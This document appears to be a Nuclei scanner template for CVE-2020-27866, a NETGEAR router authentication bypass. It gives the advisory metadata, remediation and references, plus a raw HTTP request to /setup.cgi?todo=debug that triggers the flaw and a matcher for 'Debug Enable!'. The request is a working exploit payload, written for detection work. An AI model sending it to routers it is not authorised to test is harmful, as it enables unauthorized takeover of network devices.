id: CVE-2020-27866 info: name: NETGEAR - Authentication Bypass author: gy741 severity: high description: NETGEAR R6020, R6080, R6120, R6220, R6260, R6700v2, R6800, R6900v2, R7450, JNR3210, WNR2020, Nighthawk AC2100, and Nighthawk AC2400 routers are vulnerable to authentication bypass vulnerabilities which could allow network-adjacent attackers to bypass authentication on affected installations. impact: | Successful exploitation of this vulnerability can lead to unauthorized access to the router's settings, allowing an attacker to modify network configurations, intercept traffic, or launch further attacks. remediation: | Apply the latest firmware update provided by NETGEAR to fix the authentication bypass vulnerability. reference: - https://wzt.ac.cn/2021/01/13/AC2400_vuln/ - https://www.zerodayinitiative.com/advisories/ZDI-20-1451/ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27866 - https://kb.netgear.com/000062641/Security-Advisory-for-Password-Recovery-Vulnerabilities-on-Some-Routers - https://nvd.nist.gov/vuln/detail/CVE-2020-27866 classification: cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2020-27866 cwe-id: CWE-288,CWE-287 epss-score: 0.00363 epss-percentile: 0.69394 cpe: cpe:2.3:o:netgear:ac2100_firmware:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: netgear product: ac2100_firmware tags: cve,cve2020,netgear,auth-bypass http: - raw: - | GET /setup.cgi?todo=debug&x=currentsetting.htm HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en Connection: close matchers-condition: and matchers: - type: word part: body words: - 'Debug Enable!' - type: status status: - 200 # digest: 4b0a00483046022100d22cbf7fa4b1d577bccd11d29d9ae684f4d6358bedb6e30345abc23305836485022100f6fd16d7908d6284a4e49e5320922675ed1f53742ff2841f25ddabfea94c2d6b:922c64590222798bb761d5b6d8e72950